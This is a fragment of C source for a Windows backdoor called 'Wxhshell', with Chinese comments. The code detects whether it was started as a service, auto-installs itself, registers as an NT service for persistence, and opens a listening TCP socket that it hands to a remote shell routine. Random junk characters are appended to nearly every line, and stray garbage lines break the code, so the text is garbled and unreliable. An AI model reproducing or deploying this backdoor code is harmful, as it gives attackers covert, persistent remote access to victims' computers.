ULONG UniqueProcessId; XZep7d}
ULONG InheritedFromUniqueProcessId; [KimY
} PROCESS_BASIC_INFORMATION; PO%yWns30o
< o'7{
PROCNTQSIP NtQueryInformationProcess; p+`*~6Jj/
'.h/Y/oz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ir@N>_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -;@5Ua1uf
"#\bQf}
HANDLE hProcess; A=qW]Im
PROCESS_BASIC_INFORMATION pbi; 3'sWlhf;
Ghq'k:K,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2=Y_Qrhi
if(NULL == hInst ) return 0; \6`%NhkM_
?2<6#>(7a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ltic_cjYd?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Va]vC8?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }lNufu
Zm;
+Ku>
if (!NtQueryInformationProcess) return 0; <SC|A|
~kj(s>xP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #o r7T^
if(!hProcess) return 0; B yy-Cc
o.
V0iS]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,
R.+-X
%B {D
CloseHandle(hProcess); y9G 57D
S)'q:`tZo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O 44IH`SI
if(hProcess==NULL) return 0; )(ZPSg$/F
zy/tQGTr@
HMODULE hMod; |{/O)3
char procName[255]; wh7a|
unsigned long cbNeeded; Y3MR:{}
k,NU,^ &
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &W!d}, ;
C(t6;&H
CloseHandle(hProcess); ^d5./M8Bd
7].IT(
if(strstr(procName,"services")) return 1; // 以服务启动 3 ?|; on
<0Egkz3s
return 0; // 注册表启动 aji~brq
} Acq>M^E3
^0ZKHR(}e
// 主模块 j=jrzG+`
int StartWxhshell(LPSTR lpCmdLine) E'BH7JV
{ eR*
]<0=
SOCKET wsl; #`#aSqGmc
BOOL val=TRUE; dW^_tzfF7
int port=0; oIL+@}u7
struct sockaddr_in door; w7t"&=pF7
A6x_!
if(wscfg.ws_autoins) Install(); ^`>Ysc(@&
Lq
$4.l[j
port=atoi(lpCmdLine); 2W:?#h3
}b]y
0"
if(port<=0) port=wscfg.ws_port; : {N3o:
DHumBnQ
WSADATA data; !,JT91
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /DG`Hg
U9p.Dh~)vG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x{`<);CQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |7Xpb
door.sin_family = AF_INET; u FYQ^
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7E75s)KH
door.sin_port = htons(port); !qGx(D{\
I`$I0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4\'81"ei
closesocket(wsl); Z=t#*"J
return 1; #&2N,M!Q
} b5 C}K
v"('_!
if(listen(wsl,2) == INVALID_SOCKET) { q;a*gqt
closesocket(wsl); yE|}
r
return 1; *sIG&
} l[\,*C
Wxhshell(wsl); ?nGf Wx^
WSACleanup(); %:;[M|.
v^18o$=K",
return 0; 6!Ji>h.Ak
_:=OHURc
} O<d?'{
vb ^!(
// 以NT服务方式启动 fJ"~XTN}T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L+ETMk0
{ gZ >orZL'
DWORD status = 0; w4MMo
DWORD specificError = 0xfffffff; xEZVsz
NF)\">Ye
serviceStatus.dwServiceType = SERVICE_WIN32; ^s2-jkK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >5vl{{,$K
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; er7/BE&
serviceStatus.dwWin32ExitCode = 0; 09;'z
serviceStatus.dwServiceSpecificExitCode = 0; tG^ ?fc
serviceStatus.dwCheckPoint = 0; sd@gEp)L
serviceStatus.dwWaitHint = 0; FQ~ead36C
iN/!k.ybW}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [BR}4(7
if (hServiceStatusHandle==0) return; 8YLZ)k'
GH+FZ (F
status = GetLastError(); *0@;
kD=
if (status!=NO_ERROR) |VR5Q(d
{ =qR7-Q8B
serviceStatus.dwCurrentState = SERVICE_STOPPED; k+GK1Yl
serviceStatus.dwCheckPoint = 0; V #\ZS{'J
serviceStatus.dwWaitHint = 0; ?gMrcc/{
serviceStatus.dwWin32ExitCode = status; f5qHBQ
serviceStatus.dwServiceSpecificExitCode = specificError; iXS-EB/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{nWjqrM*5
return; Ihq@|s8
} e}yu<~v_
|afK"N
serviceStatus.dwCurrentState = SERVICE_RUNNING; )Gp\_(9fc
serviceStatus.dwCheckPoint = 0; Bsk2&17z
serviceStatus.dwWaitHint = 0; z.Kq}r ^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i|{nj\6w^
} #5:A?aj
gw"l&